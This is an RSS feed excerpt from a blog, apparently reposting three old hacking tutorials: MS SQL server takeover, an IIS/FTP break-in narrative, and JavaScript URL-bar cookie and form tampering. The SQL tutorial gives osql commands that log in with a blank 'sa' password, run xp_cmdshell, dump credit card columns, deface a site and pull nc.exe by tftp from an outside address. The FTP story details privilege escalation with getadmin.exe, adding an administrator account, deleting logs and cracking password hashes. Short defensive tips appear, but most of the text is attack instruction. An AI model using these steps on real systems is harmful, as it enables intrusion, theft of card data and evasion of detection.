<br />www.nosecurity.com And&#8217;s it was possible to                    the request of user was not checked properly. SQL<br />
<br />vulnerabilities still exist on many websites. The best                    solution is to parse the user requests and<br />
<br />filter out some                    characters as &#8216;,&#8221;,&#8211;,:,etc.</p>
<p>Part II &#8211; using port 1434                    (SQL                    Port)<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Well                    uptill now we had seen how to break the database using the                    malformed URLs But that was done using just port 80 (http                    port) But this time we would use the port 1434 for hacking.                    Before that we will see what actually database servers are and                    how do they work and then how to exploit them !</p>
<p>The                    designers of MS sql gave some default stored procedures along                    with the product to make things flexible to the webdesigners.                    The procedure is nothing but functions which can used to                    perform some actions on the arguments passed to them. This                    procedures are very important to hackers. Some of the                    important ones are</p>
<p>sp_passsword -> Changes password                    for a specific login name.<br />
<br />e.g. EXEC sp_password ‘oldpass’,                    ‘newpass’, ‘username’</p>
<p>sp_tables -> Shows all the                    tables in the current database.<br />
<br />e.g. EXEC                    sp_tables</p>
<p>xp_cmdshell -> Runs arbitary command on                    the machine with administrator privileges. (most                    imp)</p>
<p>xp_msver -> Shows the MS SQL server version                    including the all info about the OS.<br />
<br />e.g.                    master..xp_msver</p>
<p>xp_regdeletekey -> Deletes a                    registry key.</p>
<p>xp_regdeletevalue ->Delets a registry                    value</p>
<p>xp_regread -> Reads a registry value                   </p>
<p>xp_regwrite -> Writes a registry                    key.</p>
<p>xp_terminate_process -> Stops a process                   </p>
<p>Well these are some important procedures. Actually                    there are more than 50 such types of procedures. If you want                    your MS SQL server to be protected then I would recommend to                    delete all of these procedures. The trick is open the Master                    database using MS SQL Server Enterprise Manager. Now expand                    the Extended Stored Procedures folder and delete the stored                    procedure by right click and delete.</p>
<p>Note: “Master” is                    an important database of the SQL server which contains all                    system information like login names and system stored                    procedures. So if a hacker deletes this master database then                    the SQL server will be down for ever. Syslogins is the default                    system table which contains the usernames and passwords of                    logins in the database.</p>
<p>Most dangerous threat :                    The Microsoft SQL server has default username “sa” with                    password blank “”. And this has ruined lots of MS sql servers                    in the past. Even a virus regarding this vulnerability had                    been released.</p>
<p>Thatz enough. Lets hack now. First we                    need to find out a vulnerable server. Download a good port                    scanner (many out there on web ) and scan for ip addresses                    having port 1433/1434 (tcp or udp) open. This is the MS Sql                    port which runs the sql service. Oracle’s port no. is 1521.                    Lets suppose we got a vulnerable server with ip 198.188.178.1                    (its just an example so don’t even try it) Now there are many                    ways to use the SQL service. Like telnet or netcat to port no.                    1433/1434. You can also use a tool known as osql.exe which                    ships with any SQL server 2000. Okz. Now go to dos prompt and                    type.<br />
<br /><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"><br />
<br />C</span><span style="color: rgb(0, 119, 0);">:></span><span style="color: rgb(0, 0, 187);">osql</span><span style="color: rgb(0, 119, 0);">.</span><span style="color: rgb(0, 0, 187);">exe </span><span style="color: rgb(0, 119, 0);">-?<br />
<br /></span><span style="color: rgb(0, 0, 187);">osql</span><span style="color: rgb(0, 119, 0);">: </span><span style="color: rgb(0, 0, 187);">unknown option </span><span style="color: rgb(0, 119, 0);">?<br />
<br /></span><span style="color: rgb(0, 0, 187);">usage</span><span style="color: rgb(0, 119, 0);">: </span><span style="color: rgb(0, 0, 187);">osql              </span><span style="color: rgb(0, 119, 0);">[-</span><span style="color: rgb(0, 0, 187);">U login id</span><span style="color: rgb(0, 119, 0);">]          [-</span><span style="color: rgb(0, 0, 187);">P password</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">S server</span><span style="color: rgb(0, 119, 0);">]            [-</span><span style="color: rgb(0, 0, 187);">H hostname</span><span style="color: rgb(0, 119, 0);">]          [-</span><span style="color: rgb(0, 0, 187);">E trusted connection</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">d </span><span style="color: rgb(0, 119, 0);">use </span><span style="color: rgb(0, 0, 187);">database name</span><span style="color: rgb(0, 119, 0);">] [-</span><span style="color: rgb(0, 0, 187);">l login timeout</span><span style="color: rgb(0, 119, 0);">]     [-</span><span style="color: rgb(0, 0, 187);">t query timeout</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">h headers</span><span style="color: rgb(0, 119, 0);">]           [-</span><span style="color: rgb(0, 0, 187);">s colseparator</span><span style="color: rgb(0, 119, 0);">]      [-</span><span style="color: rgb(0, 0, 187);">w columnwidth</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">a packetsize</span><span style="color: rgb(0, 119, 0);">]        [-</span><span style="color: rgb(0, 0, 187);">e </span><span style="color: rgb(0, 119, 0);">echo </span><span style="color: rgb(0, 0, 187);">input</span><span style="color: rgb(0, 119, 0);">]        [-</span><span style="color: rgb(0, 0, 187);">I Enable Quoted Identifiers</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">L </span><span style="color: rgb(0, 119, 0);">list </span><span style="color: rgb(0, 0, 187);">servers</span><span style="color: rgb(0, 119, 0);">]      [-</span><span style="color: rgb(0, 0, 187);">c cmdend</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">q </span><span style="color: rgb(221, 0, 0);">"cmdline query"</span><span style="color: rgb(0, 119, 0);">]   [-</span><span style="color: rgb(0, 0, 187);">Q </span><span style="color: rgb(221, 0, 0);">"cmdline query" </span><span style="color: rgb(0, 119, 0);">and exit]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">n remove numbering</span><span style="color: rgb(0, 119, 0);">]  [-</span><span style="color: rgb(0, 0, 187);">m errorlevel</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">r msgs to stderr</span><span style="color: rgb(0, 119, 0);">]    [-</span><span style="color: rgb(0, 0, 187);">V severitylevel</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">i inputfile</span><span style="color: rgb(0, 119, 0);">]         [-</span><span style="color: rgb(0, 0, 187);">o outputfile</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">p </span><span style="color: rgb(0, 119, 0);">print </span><span style="color: rgb(0, 0, 187);">statistics</span><span style="color: rgb(0, 119, 0);">]  [-</span><span style="color: rgb(0, 0, 187);">b On error batch abort</span><span style="color: rgb(0, 119, 0);">]<br />
<br />  [-</span><span style="color: rgb(0, 0, 187);">O </span><span style="color: rgb(0, 119, 0);">use </span><span style="color: rgb(0, 0, 187);">Old ISQL behavior disables the following</span><span style="color: rgb(0, 119, 0);">]<br />
<br />      <</span><span style="color: rgb(0, 0, 187);">EOF</span><span style="color: rgb(0, 119, 0);">> </span><span style="color: rgb(0, 0, 187);">batch processing<br />
<br />      Auto console width scaling<br />
<br />      Wide messages<br />
<br />      </span><span style="color: rgb(0, 119, 0);">default </span><span style="color: rgb(0, 0, 187);">errorlevel is </span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">1 vs 1<br />
<br />  </span><span style="color: rgb(0, 119, 0);">[-? </span><span style="color: rgb(0, 0, 187);">show syntax summary</span><span style="color: rgb(0, 119, 0);">]<br />
<br /></span><span style="color: rgb(0, 0, 187);"></span></span></code><br />
<br />Well, this                    displays the help of the osql tool. Its clear from the help                    what we have to do now. Type</p>
<p>C:\> osql.exe –S                    198.188.178.1 –U sa –P “”<br />
<br />1><br />
<br />Thats what we get if we                    login successfully else we will get an error message as login                    failed for user “sa”</p>
<p>Now if we want to execute any                    command on the remote machine then just use the “xp_cmdshell”                    default stored procedure.</p>
<p>C:\> osql.exe –S                    198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir                    >dir.txt’”</p>
<p>I would prefer to use –Q option instead                    of –q because it exits after executing the query. In the same                    manner we can execute any command on the remote machine. We                    can even upload or download any files on/from the remote                    machine. A smart attacker will install a backdoor on the                    machine to gain access to in future also. Now as I had                    explained earlier we can use the “information_schema.tables”                    to get the list of tables and contents of it.</p>
<p>C:\>                    osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from                    information_schema.tables”</p>
<p>And getting table names look                    for some table like login or accounts or users or something                    like that which seems to contain some important info like                    credit card no. etc.</p>
<p>C:\> osql.exe –S 198.188.178.1                    –U sa –P “” –Q “select * from users”</p>
<p>And                   </p>
<p>C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q                    “select username, creditcard, expdate from                    users”</p>
<p>Output:<br />
<br /><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"><br />
<br />Username     creditcard                   expdate<br />
<br /></span><span style="color: rgb(0, 119, 0);">-----------      ------------                   ----------<br />
<br /></span><span style="color: rgb(0, 0, 187);">Jack              5935023473209871   2004</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">10</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">03 00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00.000<br />
<br />Jill             5839203921948323   2004</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">07</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">02 00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00.000<br />
<br />Micheal        5732009850338493   2004</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">08</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">07 00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00.000<br />
<br />Ronak          5738203981300410    2004</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">03</span><span style="color: rgb(0, 119, 0);">-</span><span style="color: rgb(0, 0, 187);">02 00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00</span><span style="color: rgb(0, 119, 0);">:</span><span style="color: rgb(0, 0, 187);">00.000<br />
<br /></span></span></code><br />
<br />Write                    something in index.html file ?</p>
<p>C:\> osql.exe –S                    198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo                    defaced by Chintan >                    C:\inetpub\wwwroot\index.html’”</p>
<p>Wanna upload any file                    on the remote system.</p>
<p>C:\> osql.exe –S                    198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp                    203.192.16.12 GET nc.exe c:\nc.exe’”</p>
<p>And to download                    any file we can use the PUT request instead of GET Its just                    because this commands are being executed on the remote machine                    and not on ours. So if you give the GET request the command                    will be executed on the remote machine and it will try to get                    the nc.exe file from our machine to the remote machine.                   </p>
<p>Thatz not over. Toolz for hacking the login passwords                    of Sql servers are easily available on the web. Even many                    buffer overflows are being discovered which can allow user to                    gain the complete control of the sytem with administrator                    privileges. The article is just giving some general issues                    about database servers.</p>
<p>Remember the Sapphire worm?                    Which was released on 25th Jan. The worm which exploited three                    known vulnerabilities in the SQL servers using 1433/1434 UDP                    ports.</p>
<p>Precautionay measures<br />
<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<br /><code><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 187);"><br />
<br /></span><span style="color: rgb(0, 119, 0);"><*>    </span><span style="color: rgb(0, 0, 187);">Change the </span><span style="color: rgb(0, 119, 0);">default </span><span style="color: rgb(0, 0, 187);">password </span><span style="color: rgb(0, 119, 0);">for </span><span style="color: rgb(0, 0, 187);">sa</span><span style="color: rgb(0, 119, 0);">.<br />
<br /><*>    </span><span style="color: rgb(0, 0, 187);">Delete all the </span><span style="color: rgb(0, 119, 0);">default </span><span style="color: rgb(0, 0, 187);">stored procedures</span><span style="color: rgb(0, 119, 0);">.<br />
<br /><*>    </span><span style="color: rgb(0, 0, 187);">Filter out all the characters like </span><span style="color: rgb(0, 119, 0);">,</span><span style="color: rgb(221, 0, 0);">",--,:,etc.<br />
<br /><*>    Keep upto date with  patches<br />
<br /><*>    Block the ports 1433/1434 MS SQL and 1521 (oracle) ports using firewalls. </span>                    </span></code></p>
<p>Remember security is not an add-on                    feature. It depends upon the smartness of administrator. The                    war between the hacker and administrator will go on and on and                    on…. The person who is aware with the latest news or bug                    reports will win the war. Database admins should keep in touch                    with some sites like</p>
<p><a href="http://neworder.box.sk/redirect.php?http://sqlsecurity.com" target="_blank">http://neworder.box.sk/redirect.php?http://sqlsecurity.com</a><br />
<br /><a href="http://neworder.box.sk/redirect.php?http://www.cert.com" target="_blank">http://neworder.box.sk/redirect.php?http://www.cert.com</a>                    </p>
<p>credits:-not known<br />
<br /></span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/database-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows FTP Hacking</title>
		<link>http://ankitkumaragarwal.com/windows-ftp-hacking/</link>
		<comments>http://ankitkumaragarwal.com/windows-ftp-hacking/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 12:08:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=5</guid>
		<description><![CDATA[The exact methods may not work, but we aren’t here to train script kiddies, we just want to make you think.
Johnny Hacker has a Windows NT Server at home. Why? Because he knows if he’s going to hack NT he’s best using the same type of computer…it gives him all the necessary tools. He has [...]]]></description>
			<content:encoded><![CDATA[<p>The exact methods may not work, but we aren’t here to train script kiddies, we just want to make you think.</p>
<p>Johnny Hacker has a Windows NT Server at home. Why? Because he knows if he’s going to hack NT he’s best using the same type of computer…it gives him all the necessary tools. He has installed RAS and has a dial-up connection to the Internet. One morning, around 2:00am he dials into the Internet…his IP address is dynamically assigned to him. He opens up a Command Prompt window and gets down to work. He knows www.company.com’s web server is running IIS. How? Because he once did a search on “batch fil es as CGI” using Excites search engine. That phrase is in Chapter 8 of Internet Information Server’s on-line help….and unfortunately it’s been indexed by Excite’s spider…now Johnny has a list of around 600 web servers running IIS.</p>
<p><span class="fullpost"></p>
<p>He ftps to www.company.com. He isn’t even sure yet if the server is running the ftp service. He knows if he gets a connection refused message it wont be…he’s in luck though…the following appears on the screen:</p>
<p>C:\ftp www.company.com<br />Connected to www.company.com.<br />220 saturn Microsoft FTP Service (Version 3.0).<br />User (www.comapny.com:(none)):</p>
<p>This connection message tells him something extremely important : The NetBIOS name of the server : SATURN. From this he can deduce the name of the anonymous internet account that is used by NT to allow people to anonymously u se the WWW, FTP and Gopher services on the machine. If the default account hasn’t been changed, and he knows that it is very rare if it has been changed, the anonymous internet account will be called IUSR_SATURN. This information will be needed later if he’s to gain Administrator access to the machine. He enters “anonymous” as the user and the following appears:</p>
<p>331 Anonymous access allowed, send identity (e-mail name) as password.<br />Password:</p>
<p>Johnny often tries the “guest” account before using “anonymous” as the user. A fresh install of NT has the “guest” account disabled but some admins enable this account….and the funny thing is they usually put a weak password on it such as ‘guest’ or no password at all. If he manages to gain access to the ftp service with this account he has a valid NT user account….everything that the “guest” account has access to…so does Johnny, and sometimes that can be almost everything. He knows he can access their site now…but there is still a long way to go yet….even at this point he still might not get access. At this point he doesn’t even supply a password…he just presses enter and gets a message stating that the Anonymous user is logged in.</p>
<p>First off he types “cd /c” because some admins will make the the root of the drive a virtual ftp directory and leave the default alias name : “/c”. Next he sees whether he can actually “put” any files onto the site ie. is the write permission enabled for this f tp site. He’s in luck. Next he types “dir” to see what he has access to. He chuckles to himself when he sees a directory called “CGI-BIN”. Obviously the Webmaster of the NT machine has put this here with the rest of the WWW site so he can remotely make changes to it. Johnny knows that the CGI-BIN has the “Execute” permission so if he can manage to put any program in here he can run it from his web browser. He hopes that the Webmaster hasn’t, using NTFS file-level security, cut off write access to the anonymous internet account to this directory…even though he knows there are sometimes ways round this. He changes to the CGI-BIN directory and then changes the type to I by using the command “binary”. Then he types “put cmd.exe”. He’s in luck..he gets the following response :</p>
<p>200 PORT command successful.<br />150 Opening BINARY mode data connection for CMD.EXE.<br />226 Transfer complete.<br />208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec)</p>
<p>Next he puts getadmin.exe and gasys.dll into the same directory. With these three files in place he doesn’t even gracefully “close” the ftp session; he just closes the Command Prompt window. With a smile on his face he leans back and lights a smoke, savouring the moment…he knows he has them…. After crunching the cigarette out in an overflowing ashtray he connects to AOL. He does this because if logging is enabled on the NT machine the IP address of AOL’s proxy server will be left and not his own…not that it really matters because soon he’ll edit the logfile and wipe all traces of his presence. Opening up the web browser he enters the following URL:</p>
<p>http://www.company.com/cgi-bin/getadmin.exe?IUSR_SATURN</p>
<p>After about a fifteen second wait the following appears on his web browser:</p>
<p>CGI Error<br />The specified CGI application misbehaved by not returning a complete set of<br />HTTP headers. </p>
<p>The headers it did return are:</p>
<p>Congratulations , now account IUSR_SATURN have administrator rights! </p>
<p>He has just made the anonymous internet account a local administrator and consequently using this account he can do pretty much what he wants to. Firstly though, he has to create an account for himself that he can use to connect to the NT server using NT Explorer and most of the Administrative tools. He can’t use the IUSR_SATURN account because he doesn’t know the randomly generated password. To create an account he enters the following URL:</p>
<p>cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20cnn%20news%20/add</p>
<p>He has just created an account called “cnn” with the password “news”. To make the account a local administrator he enters the following URL:</p>
<p>http://www.company.com/cgi-bin/getadmin.exe?cnn</p>
<p>It has taken him less than ten minutes to do all of this. He disconnects from AOL and clicks on start, goes upto find and does a search for the computer www.company.com. After about a minute the computer is found, next he right clicks on the “computer” and then clicks on Explore. NT Explorer opens and after a little wait Johnny is prompted for a user-name and password. He enters “cnn” and “news”. Moments later he is connected. Admin rights for the computer www.company.com are appended to his own security access token…now he can do anything. Using User Manager for Domains he can retrieve all the account information; he can connect to the Internet Service Manager; he can view Server Manager…first though, using NT Explorer he maps a drive to the hidden system share C$. He changes to the Winnt\system32\logfiles directory and opens up the logfile for that day. He deletes all of the log entries pertaining to his “visit” and saves it. If he gets any message about sharing violations all he has to do is change the date on the computer with the following URL:</p>
<p>http://www.company.com/cgi-bin/cmd.exe?/c%20date%2002/02/98</p>
<p>Next, using the Registry Editor he connects to the registry on the remote computer. Then using L0phtcrack he dumps the SAM (the Security Accounts Manager &#8211; holds account info) on the NT server and begins cracking all the passwords on the machine. Using the Task Manager he sets the priority to Low because L0phtcrack is fairly processor intensive (NB L0phtcrack ver 2.0 sets the priority to Low anyway) and there is still a few thing he must do to hide the fact that that some-one has gained entry. He deletes cmd.exe, getadmin.exe and gasys.dll from the cgi-bin, then he checks the security event log for the remote NT server using Event Viewer to see if he’s left any traces there.</p>
<p>Finally using User Manager for Domains he removes admin rights from the IUSR_SATURN account and deletes the cnn account he created a few moments earlier. He doesn’t need this account anymore….L0phtcrack will be able to brute force all the accounts. Next time he connects to this machine it will be using the Administrator account. He breaks his connection to the Internet and sets L0phtcrack’s priority to High, leaves it running and heads to bed…Looking at his alarm clock : it’s just passed 2:30am….Sighing to himself, he mumbles, “Sheesh, I’m getting slow!” and falls asleep with a grin on his face.</p>
<p>The original filename was ntremote.txt &#8211; Author Unknown<br /></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/windows-ftp-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascrit injections</title>
		<link>http://ankitkumaragarwal.com/javascrit-injections/</link>
		<comments>http://ankitkumaragarwal.com/javascrit-injections/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 11:45:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=4</guid>
		<description><![CDATA[Today I have brought  for you another type of exploit of browser that is Javascript Injection.  Javascript injection is a nifty little technique that allows you to alter a  sites contents without actually leaving the site. This can be very usefull when  say, you need to spoof the server by editing [...]]]></description>
			<content:encoded><![CDATA[<p>Today I have brought  for you another type of exploit of browser that is Javascript Injection.  Javascript injection is a nifty little technique that allows you to alter a  sites contents without actually leaving the site. This can be very usefull when  say, you need to spoof the server by editing some form options. Examples will be  explained throughout.<br />
<br /><span class="fullpost"></p>
<p><span style="font-weight: bold; font-size: 130%;">Injection  Basics</span></p>
<p>Javascript injections are run from the URL bar of the page  you are visiting. To use them, you must first completly empty the URL from the  URL bar. That means no http:// or whatever.<br />
<br /><span class="fullpost"><br />
<br />Javascript is run from the URL bar by using the javascript:  protocol. In this tutorial I will only teach you the bare bones of using this,  but if you are a Javascript guru, you can expand on this using plain old  javascript.</p>
<p>The two commands covered in this tutorial are the alert();  and void(); commands. These are pretty much all you will need in most  situations. For your first javascript, you will make a simple window appear,  first go to any website and then type the following into your URL  bar:</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);">javascript:alert(&#8216;Hello,  World&#8217;);</span></p>
<p>You should get a little dialog box that says &#8220;Hello,  World&#8221;. This will be altered later to have more practical uses.</p>
<p>You can  also have more than one command run at the same time:</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);">javascript:alert(&#8216;Hello&#8217;);  alert(&#8216;World&#8217;);</span></p>
<p>This would pop up a box that said &#8216;Hello&#8217; and than  another that says &#8216;World&#8217;.</p>
<p><span style="font-size: 130%;"><span style="font-weight: bold;">Cookie Editing</span></span></p>
<p>First off, check  to see if the site you are visiting has set any cookies by using this  script:</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);">javascript:alert(document.cookie);</span></p>
<p>This  will pop up any information stored in the sites cookies. To edit any  information, we make use of the void(); command.</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);">javascript:void(document.cookie=&#8221;Field  = myValue&#8221;);</span></p>
<p>Would either make the field &#8220;authorized&#8221; or edit it  to say &#8220;yes&#8221;&#8230; now wheter or not this does anything of value depends on the  site you are injecting it on.</p>
<p>It is also useful to tack an  alert(document.cookie); at the end of the same line to see what effect your  altering had.</p>
<p><span style="font-size: 130%;"><span style="font-weight: bold;">Form Editing</span></span></p>
<p>Sometimes, to edit  values sent to a given website through a form, you can simply download that html  and edit it slightly to allow you to submit what you want. However, sometimes  the website checks to see if you actually submitted it from the website you were  supposed to. To get around this, we can just edit the form straight from  javascript. <span style="font-weight: bold;">Note:</span> The changes are only  temporary, so it&#8217;s no tuse trying to deface a site through javascript injection  like this.</p>
<p>Every form on a given webpage (unless named otherwise) is  stored in the forms[x] array&#8230; where &#8220;x&#8221; is the number, in order from top to  bottom, of all the forms in a page. Note that the forms start at 0, so the first  form on the page would actually be 0, and the second would be 1 and so on. Lets  take this example:</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);"><br />
<form action="http://www.website.com/submit.php" method="post"></span><br />
<br /><span style="font-weight: bold; color: rgb(255, 0, 0);"><br />
<input type="hidden" name="to" value="admin@website.com"></span></p>
<p>Note:Since this is the first form on  the page, it is forms[0]</p>
<p>Say this form was used to email, say vital  server information to the admin of the website. You can&#8217;t just download the  script and edit it because the submit.php page looks for a referer. You can  check to see what value a certain form element has by using this  script:</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);">javascript:alert(document.forms[0].to.value)</span></p>
<p>This  is similar to the alert(document.cookie); discussed previously. In this case, It  would pop up an alert that says &#8220;admin@website.com&#8221;</p>
<p>So here&#8217;s how to  Inject your email into it. You can use pretty much the same technique as the  cookies editing shown earlier:</p>
<p><span style="font-weight: bold; color: rgb(255, 0, 0);">javascript:void(document.forms[0].to.value=&#8221;email@nhacks.com&#8221;)</span></p>
<p>This  would change the email of the form to be &#8220;email@nhacks.com&#8221;. Then you could use  the alert(); script shown above to check your work. Or you can couple both of  these commands on one line.</p>
<p>credits:unknown<br />
<br /></span><br />
<br /></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/javascrit-injections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
